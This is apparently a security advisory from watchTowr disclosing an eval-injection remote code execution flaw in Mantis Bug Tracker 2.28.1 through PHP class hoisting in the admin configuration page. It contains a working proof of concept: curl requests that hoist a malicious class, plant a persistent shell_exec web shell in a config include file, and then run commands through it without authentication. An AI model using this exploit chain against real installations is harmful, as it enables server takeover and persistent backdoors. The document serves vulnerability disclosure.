WT-2026-0067

watchTowr Vulnerability Report

- Product affected: Mantis Bug Tracker
- Version tested: 2.28.1
- Platform: Linux
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

watchTowr Vulnerability Disclosure Policy

The vulnerability is subject to our standard 90-day disclosure timeline. See https://labs.watchtowr.com/vulnerability-disclosure-policy for more details.

Credits:

McCaulay Hudson (@_McCaulay) of watchTowr

Vulnerability Details - Remote Code Execution via `eval()` Class Hoisting in Admin Configuration Set

MantisBT 2.28.1 contains a remote code execution vulnerability in the admin "Manage Configuration" feature (`adm_config_set.php`). When setting a configuration value with a non-string type (integer, float, complex), the value is passed through `ConfigParser` → `Tokenizer`, which calls `eval()` with a `return;` prefix intended to prevent code execution.

However, **PHP hoists function and class declarations at compile time**, even past a `return;` statement. An attacker can define a class in the `eval()`'d code that hijacks a class loaded later via PHP's autoloader, achieving arbitrary code execution.

This vulnerability requires administrator access to the web UI (`adm_config_set.php`). The REST API's `ConfigsSetCommand` does NOT use `Tokenizer`/`eval()` and is not affected.

Root Cause

1. `eval()` with Bypassable Guard (`core/classes/Tokenizer.class.php`, lines 53–55)

```
$t_code = 'return; ' . $p_code . ';';
eval( $t_code );
```

The `return;` statement prevents most code from executing at runtime. However, PHP processes `class`, `function`, and `enum` declarations at **compile time** (hoisting), meaning they are registered in the global scope regardless of whether they appear after `return;`.

2. Autoloader Race Condition

The `ConfigsSetCommand` class is not loaded during the `core.php` bootstrap. It relies on MantisBT's `autoload_mantis()` autoloader (`spl_autoload_register`), which is only triggered when a class is first referenced. Since the `eval()` runs **before** `ConfigsSetCommand` is first referenced in `adm_config_set.php`, the attacker's hoisted class definition takes precedence over the autoloader.

3. ConfigParser Ignores Extra Tokens

`ConfigParser->parse()` is called with `EXTRA_TOKENS_IGNORE` mode. It parses the leading integer (`42`) as a valid value and silently ignores the remaining tokens (the class definition), returning the integer. This means the hoisted class survives parsing without raising an error.

Attack Flow

1. Admin sends a POST request to `adm_config_set.php` with `type=integer` and a value like:
   `42; class ConfigsSetCommand { ... }`
2. `Tokenizer.__construct()` runs `eval('return; 42; class ConfigsSetCommand { ... };')`. The `return;` prevents `42` from evaluating, but `ConfigsSetCommand` is **hoisted**.
3. `ConfigParser->parse()` parses `42` as a valid integer and ignores the class tokens.

4. `adm_config_set.php` then calls `new ConfigsSetCommand($t_data)`. Since the class was already defined by the eval hoist, PHP skips the autoloader and uses the **attacker-defined class**.
5. `$t_command->execute()` runs the attacker's code as `www-data`.

Proof of Concept

Step 1: Plant a PHP Backdoor via Class Hoisting

The payload hoists a `ConfigsSetCommand` class whose `execute()` method writes a PHP backdoor to `config/custom_constants_inc.php`, which is auto-included by `core.php` on every page load.

First, get the `MANTIS_STRING_COOKIE` of an administrator.

Next, obtain the adm_config_page CSRF token:

```
$ curl -s -b 'PHPSESSID=0c3a08d10dc1e8aa08dc7f82817b200c; MAN
TIS_STRING_COOKIE=7MmaGY7_bZ-xIvkFq0PEtZDrhMhlM35aQHdqtGSRYM0
hktfOdNS8dA-0x_yZNKUo' \
    'http://localhost:8989/adm_config_page.php?action=create'
\
    | grep -o 'adm_config_set_token" value="[^"]*"'
```

Using the administrator authentication cookie and the CSRF token, trigger the vulnerability:

```
$ curl -s -b 'PHPSESSID=0c3a08d10dc1e8aa08dc7f82817b200c; MAN
TIS_STRING_COOKIE=7MmaGY7_bZ-xIvkFq0PEtZDrhMhlM35aQHdqtGSRYM0
hktfOdNS8dA-0x_yZNKUo' \
  'http://localhost:8989/adm_config_set.php' \
  --data-urlencode 'adm_config_set_token=202605130DEaEf7MSZrg
MMK1DIb5LBAa6RLqauJz' \
  --data-urlencode 'user_id=0' \
  --data-urlencode 'project_id=0' \
  --data-urlencode 'config_option=recently_visited_count' \
  --data-urlencode 'type=1' \
```

```
  --data-urlencode 'value=42; class ConfigsSetCommand { publi
c function __construct($d) {} public function execute() { fil
e_put_contents("/var/www/html/config/custom_constants_inc.ph
p", "<?php if(isset(\$_GET[chr(99)])){echo shell_exec(\$_GET
[chr(99)]);die();} ?>"); return []; } }' \
  --data-urlencode 'original_user_id=0' \
  --data-urlencode 'original_project_id=0' \
  --data-urlencode 'original_config_option=recently_visited_c
ount' \
  --data-urlencode 'action=create'
```

Confirmed Output

The server responds with `HTTP/1.1 302 Found` (redirect to config page), indicating the config was set successfully. The backdoor file is created:

```
$ cat /var/www/html/config/custom_constants_inc.php
<?php if(isset($_GET[chr(99)])){echo shell_exec($_GET[chr(9
9)]);die();} ?>
```

Step 2: Execute Commands via the Backdoor

The backdoor is auto-included by `core.php` on every page load via:

```
// core.php line 116-117
if( file_exists( $g_config_path . 'custom_constants_inc.php'
) ) {
    require_once( $g_config_path . 'custom_constants_inc.php'
);
}
```

Any page can be used to execute commands, including unauthenticated pages:

```
$ curl -s 'http://localhost:8989/login_page.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Impact

- **Remote code execution** as the web server user (`www-data`) from an authenticated administrator session
- The planted backdoor persists: `core.php` includes `custom_constants_inc.php` on every request
- After the backdoor is planted, **any unauthenticated page** can be used for command execution
- The `config/` directory is writable by default (MantisBT requires it for `install.php` to write `config_inc.php`), and `.htaccess` protection is irrelevant because `require_once()` is a filesystem operation